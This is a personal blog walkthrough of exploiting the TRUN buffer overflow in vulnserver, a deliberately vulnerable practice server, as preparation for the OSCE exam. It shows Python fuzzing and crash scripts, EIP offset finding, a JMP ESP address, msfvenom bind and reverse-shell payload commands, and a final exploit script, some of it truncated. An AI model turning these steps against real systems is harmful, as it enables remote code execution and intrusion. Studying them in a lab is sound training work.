While i was working through the OSCE I remember folk were looking for something that would be roughly as challenging as the exam to practice the full fuzz RCE, full remote shell lifecycle.

The most common recommendation was to try vulnserver by Stephen Bradshaw. I didn’t use it at the time, but I’m excited to loop back and give it a crack now.

I’m going to write down my steps along the way in case they help anyone else…

Vulnserver is available here: “”

Download the vulnserver software and get it running on a VM. I’d recommend XP so that none of the OS level protections from more modern operating systems get in your way of understanding the binary, but its up to you. Of course, the longer term goal is to build a complete exploit that will work on a fully patched and protected Win 10 machine but my personal preference is to figure out the application before wrestling with the OS. (Depending on how its configured, it’s also possible that the modern OS wont give you any more hurdles at all).


Actually, before jumping into fuzzing with tools it might be nice to just take a look at what the application does. I’d recommend just poking around a little. In the case of vulnserver, the easiest approach is probably just to run it on one machine, and connect to it from your kali machine with nc. By default, vulnserver listens on port 9999.


After making the initial connection, I issue the help command and notice that this program appears to handle a set of commands as inputs, some of them take additional parameters. Our initial fuzzing efforts will focus on that. We’ll build out a set of spike templates that will throw garbage into each of those accepted inputs to see if we can get the application to handle one of them poorly. (We also would usually try throwing some commands that are unexpected, and i did, but the application seems resilient to that so i’m just focusing on misusing the known inputs to start with).

Basic spike templates for the known vulnserver inputs are here:

I’m going to use a simple script to loop through them till we (hopefully) get a crash:

from os import listdir
from os.path import isfile, join
import subprocess

files = [f for f in listdir('.') if isfile(join('.', f))]

target_ip = ""
target_port = "9999"

for f in sorted(files):
    if ".spk" in f:
        print("Running: {}".format(f))["/usr/bin/generic_send_tcp", target_ip, target_port, f, "0", "0"])

Running this, its not long before we see the application fall over…

I don’t want to get too excited, but something that seems promising is that there is a tonne of our input on the stack as well as EIP being overwritten:


We can see what appears to be evidence that the TRUN command was the one to cause the crash, so we’ll run another spike command, this time just using the TRUN template to be sure. We can do that by using generic_send_tcp outside of the script:

generic_send_tcp 9999 05trun.spk 0 0

We confirm that the crash is repeatable. Looking at the memory of the process in the debugger, it appears that the crash is caused by something along the lines of:

TRUN /.:/AAAA{...repeat-A-unknown-number-of-times...}


With that in mind, its time to try out a POC for the crash.


Since we have a hunch as to what causes the application to crash, we can go ahead and convert to a POC template to start building on. I am going to use this for a start:

import socket

crash_command = "TRUN /.:/" 
crash_padding = "\x41" * 10000
data = crash_command + crash_padding

print("buffer length: {}".format(len(data)))

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('',9999))


print("payload sent")


This works! We have a reliable crash and the start of a POC. (I should note right here that there’s a reasonable chance this is a rabbit hole, and there are other bugs i should be looking for, but for now, we are going to keep pulling on this thread).

Searching for EIP

We can see in the debugger that EIP is cleanly overwritten by our POC, the next step is to find out which bytes are the ones that do so. Figuring this out will allow us to modify the flow of execution and hopefully get us on the right path to a full working exploit.


To figure out where that is i am going to use pattern_create.rb to generate a unique string as long as the buffer that i am currently sending (i bought it down to 3000 bytes).

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000

Take that big buffer of junk and use it in the crash_padding variable rather than the “\x41” * 3000 we have now.

If the script is still able to generate the crash, we will be in good shape. (The random string might not work as planned if there are ‘bad characters’ in it).

It works!.. and we have some more useful information in EIP:


With that information, we can identify the place where our EIP overwrite occurs.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 77C848AB -l 3000
[*] Exact match at offset 2003

It appears that EIP is overwritten with the bytes beginning at 2003. To prove that, we update the payload so that we have all A’s till 2003, then four B’s, then as many more A’s as we can have the service accept. Something like:

crash_command = "TRUN /.:/" 
pad = "\x41" * 2002
eip = "\x42" * 4
post_eip = "\x41" * 997
data = crash_command + pad + eip + post_eip

We send that to the server and cross our fingers…


Bloody beautiful. We have overwritten EIP, we should be able to make it whatever we like. We have a solid shot at controlling execution from now on.

Controlling Execution:

Next we need to figure out where we can place code, and how to get the processor to start executing from that spot.</p>

By modifying the buffer a little more, and placing C’s after the EIP overwrite it becomes clear that the stack pointer is pointing to a buffer we control and that it is reasonably large.

Before we get into that too much, its probably also a good time to check for ‘bad characters’, inputs that might terminate the string headed into our vulnerable application and ruin the exploit.

To do that, we create an array of all the characters and send them into the application. We then inspect the memory in the application to make sure none of the characters went missing.

The input buffer part of the POC becomes:

crash_command = "TRUN /.:/" 
pad = "\x41" * 2002
eip = "\x42" * 4
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
post_eip = "\x43" * (997 - 256)
data = crash_command + pad + eip + post_eip

We exclude \x00 right away (null terminator), and inspect the buffer on the server.

Strangely enough, it appears that we are OK from a bad character perspective. (bytes \x01 through \xFF appear in the debugger).

The most straightforward approach now then is if we can find an instruction that tells the CPU to start executing the code pointed to by the stack pointer (the code we can control). For this, we are looking to leverage a JMP ESP instruction somewhere in the process.

If we had to work out what JMP ESP looked like in hex we could use nasm from our Kali machine:

root@k64:~/spike_scripts# /usr/share/metasploit-framework/tools/exploit/nasm_shell.rb
nasm &gt; jmp esp
00000000 FFE4 jmp esp

Now we know that we are searching for FFE4. We would prefer to find it in one of the application binaries if possible to ensure that the exploit works across machines that may not have the same things loaded into the process space of vulnserver. “essfunc.dll” that ships with vulnserver looks like a good candidate.

I switch over to immunity debugger to get mona scripting support and use:

!mona find -s "\xff\xe4" -m essfunc.dll


I get 9 results and on this machine, and with these .dll compile options it looks like ASLR is not going to get in the way.

I’m going to choose the first of the results, add it to the payload and set a breakpoint to make sure we end up in the desired location.

The payload section now looks like this:

crash_command = "TRUN /.:/" 
pad = "\x41" * 2002
eip = "\xaf\x11\x50\x62"
post_eip = "\x43" * (997)
data = crash_command + pad + eip + post_eip

Success. We hit the breakpoint and can see that code execution will be redirected to our buffer (currently containing c’s, but soon to contain our exploit code)


Generating a payload:

With all the pieces in place we go ahead and generate a simple payload using msfvenom.

msfvenom -p windows/shell_bind_tcp -b "\x00" -f c


Putting it all together:

The script, and also add some NOPS right at the start of the payload to make sure we don’t step on ourselves while decoding.

Final script shown below:

import socket

#341 bytes: msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f python

sc = ("\xda\xc4\xb8\x26\xe6\x17\xfd\xd9\x74\x24\xf4\x5a\x29\xc9\xb1"

final = "A" * 2002
final += "\xaf\x11\x50\x62"
final += "\x90" * 16
final += sc
final += "C" * (3000 - len(final))
print "buffer length: " + str(len(final))
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect = s.connect(('',9999))
s.send("TRUN /.:/ " + final)

print "payload sent"

We fire off the exploit and cross our fingers…


We can connect to the new listener on the default msfvenom port on the victim machine (4444) and have a remote console:


To be thorough, we can take a look at the victim machine, and see that the vulnserver.exe process is still running, and also that the attacker has established the connection:


It’s also worth noting that the exploit works just fine on a vanilla win10 machine.

win10 win10-2

And, that’ll do for now.

Blog Logo

Chad Duffey



Chad Duffey

Blue Team -> Exploit Development & things in-between

Back to Overview